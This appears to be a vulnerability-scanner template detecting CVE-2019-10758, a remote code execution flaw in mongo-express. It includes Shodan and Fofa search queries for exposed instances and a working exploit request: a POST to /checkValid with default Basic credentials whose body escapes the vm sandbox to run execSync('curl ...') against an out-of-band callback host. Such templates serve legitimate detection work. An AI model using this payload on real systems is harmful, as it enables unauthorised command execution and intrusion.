mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.
Shodan: http.title:"Mongo Express"
Fofa: title="Mongo Express"
PoC代码[已公开]
id: CVE-2019-10758
info:
name: Mongo-Express Remote Code Execution
author: princechaddha
severity: critical
verified: true
description: |-
mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.
Shodan: http.title:"Mongo Express"
Fofa: title="Mongo Express"
reference:
- https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
- https://nvd.nist.gov/vuln/detail/CVE-2019-10758
remediation: This issue will be fixed by updating to the latest version of mongo-express
metadata:
shodan-query: http.title:"Mongo Express"
tags: cve,cve2019,mongo,mongo-express
set:
oob: oob()
oobHTTP: oob.HTTP
rules:
r0:
request:
method: POST
path: /checkValid
headers:
Authorization: Basic YWRtaW46cGFzcw==
body: document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{oobHTTP}}")
expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0()